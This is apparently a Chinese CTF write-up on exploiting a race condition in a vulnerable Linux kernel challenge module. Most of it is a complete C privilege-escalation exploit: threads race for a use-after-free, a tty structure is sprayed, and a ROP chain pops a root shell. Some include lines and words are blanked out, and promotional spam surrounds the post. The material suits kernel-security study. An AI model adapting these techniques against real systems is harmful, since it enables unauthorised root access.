tcpaccept内核实现/linux内核ping实现-手把手教信息安全指南
条件竞争漏洞(Race )是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:.com/h0pe-ay/Ker…
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file){ printk(KERN_INFO "module_open called\n"); if (mutex) { printk(KERN_INFO "resource is busy"); return -EBUSY; } mutex = 1; g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed"); return -ENOMEM; } return 0;}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include #include int main(){ int fd1 = open("/dev/holstein",O_RDWR); printf("fd1:%d\n",fd1); int fd2 = open("/dev/holstein",O_RDWR); printf("fd2:%d\n",fd2); }
单线程下执行的流程如下。
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在 == 1这个判断语句之后切换到线程2,那么线程2在执行 == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 " ",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
#!/bin/shqemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 2 \ -monitor /dev/null \ -initrd initramfs.cpio.gz \ -net nic,model=virtio \ -net user \ -s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过 -> -> de的序列完成提权操作。
#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#include <pthread.h>#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re//0xffffffff810b13c5: pop rdi; ret;//ffffffff81072580 T prepare_kernel_cred//ffffffff810723e0 T commit_creds//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff81c6bfe0: pop rcx; ret; //ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;#define push_rdx_pop_rsp 0x137da8#define pop_rdi_ret 0xb13c5#define prepare_kernel_cred 0x72580#define commit_creds 0x723e0#define pop_rcx_ret 0xc6bfe0#define mov_rdi_rax 0x65094b#define swapgs_restore 0x800e10#define pop_rcx_5 0x12b0unsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor(){ printf("****getshell****"); system("id"); system("/bin/sh");}void save_user_land(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor);}int success = 0;void *thread_function(void *arg) { while(1) { while (!success) { int fd = open("/dev/holstein",O_RDWR); if (fd == 4) success = 1; if (fd != -1 && success == 0) close(fd); } if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1) { close(3); close(4); success = 0; } else break; } }int main(){ pthread_t thread_id1, thread_id2; int spray[200]; save_user_land(); if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } pthread_join(thread_id1, NULL); pthread_join(thread_id2, NULL); char temp[0x20]= {}; write(3, "abcdefg", 7); read(4, temp, 7); printf("temp:%s\n", temp); if (strcmp(temp, "abcdefg")) { puts("failure\n"); exit(-1); } if (!strcmp(temp,"abcdefg")) { printf("sucess\n"); close(4); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(3, buf, 0x400); unsigned long *p = (unsigned long *)&buf; for (unsigned int i = 0; i < 0x80; i++) printf("[%x]:addr:0x%lx\n",i,p[i]); unsigned long kernel_address = p[3]; unsigned long heap_address = p[7]; if ((kernel_address >> 32) != 0xffffffff) { printf("leak error!\n"); exit(-1); } else printf("leak sucess\n"); unsigned long kernel_base = kernel_address - 0xc3afe0; unsigned long g_buf = heap_address - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf); //getchar(); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp + kernel_base; //for (unsigned long i = 0xd; i < 0x80; i++) // p[i] = g_buf + i; int index = 0x21; p[index++] = pop_rdi_ret + kernel_base; p[index++] = 0; p[index++] = prepare_kernel_cred + kernel_base; p[index++] = pop_rcx_5 + kernel_base; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = mov_rdi_rax + kernel_base; p[index++] = commit_creds + kernel_base; p[index++] = swapgs_restore + kernel_base + 22; p[index++] = 0; p[index++] = 0; p[index++] = (unsigned long)backdoor; p[index++] = user_cs; p[index++] = user_rflags; p[index++] = user_sp; p[index++] = user_ss; write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100); } return 0; }
CPU (CPU 亲和性)
这里作者用了CPU 提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过 函数设置CPU 亲和性。
#define _GNU_SOURCE#include .h>... cpu_set_t t1_cpu, t2_cpu; CPU_ZERO(&t1_cpu); CPU_ZERO(&t2_cpu); CPU_SET(0, &t1_cpu); CPU_SET(1, &t2_cpu);... if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0) { fprintf(stderr, "thread error\n"); return 1; } if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0) { fprintf(stderr, "thread error\n"); return 1; } void *thread_function(void *arg) { cpu_set_t *cpu_set = (cpu_set_t *)arg; int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set); ...}
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~